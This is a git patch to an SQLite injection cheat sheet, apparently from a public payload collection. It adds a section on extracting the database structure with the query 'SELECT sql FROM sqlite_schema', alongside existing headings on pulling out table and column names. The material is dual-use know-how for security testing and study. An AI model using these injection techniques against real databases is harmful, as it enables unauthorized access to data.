From 03427da53485db82e5c78eca8c5008f16a25ae11 Mon Sep 17 00:00:00 2001 From: Brian Stadnicki Date: Tue, 7 Dec 2021 06:51:27 +0000 Subject: [PATCH] SQLite Injection add extract database structure --- SQL Injection/SQLite Injection.md | 7 +++++++ 1 file changed, 7 insertions(+) diff --git a/SQL Injection/SQLite Injection.md b/SQL Injection/SQLite Injection.md index 1d3b8d9..739f49d 100644 --- a/SQL Injection/SQLite Injection.md +++ b/SQL Injection/SQLite Injection.md @@ -4,6 +4,7 @@ * [SQLite comments](#sqlite-comments) * [SQLite version](#sqlite-version) +* [String based - Extract database structure](#string-based---extract-database-structure) * [Integer/String based - Extract table name](#integerstring-based---extract-table-name) * [Integer/String based - Extract column name](#integerstring-based---extract-column-name) * [Boolean - Count number of tables](#boolean---count-number-of-tables) @@ -26,6 +27,12 @@ select sqlite_version(); ``` +## String based - Extract database structure + +```sql +SELECT sql FROM sqlite_schema +``` + ## Integer/String based - Extract table name ```sql